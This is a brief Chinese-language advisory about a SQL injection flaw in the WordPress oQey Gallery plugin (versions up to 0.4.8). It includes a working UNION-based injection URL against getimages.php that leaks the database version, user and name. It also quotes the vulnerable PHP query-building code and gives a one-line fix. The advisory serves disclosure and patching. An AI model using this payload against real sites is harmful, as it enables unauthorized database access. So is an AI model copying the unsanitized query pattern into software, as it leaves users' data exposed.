标题: WordPress oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability 作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) 下载地址: http://downloads.wordpress.org/plugin/oqey-gallery.0.4.8.zip 影响版本: 0.4.8 (tested) 前提条件: magic_quotes has to be turned off --- 测试方法 --- http://www.2cto.com /wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23 --------------- 缺陷代码分析 --------------- if(isset($_REQUEST['gal_id'])){ ... $data = explode("-", $_REQUEST['gal_id']); $id = $data[0]; ... $s = $wpdb->get_row("SELECT * FROM $oqey_galls WHERE id ='".$id."' "); 修复：
过滤gal_id参数输入
查看更多关于WordPress插件oQey Gallery<= 0.4.8 SQL注射缺陷及修复的详细内容...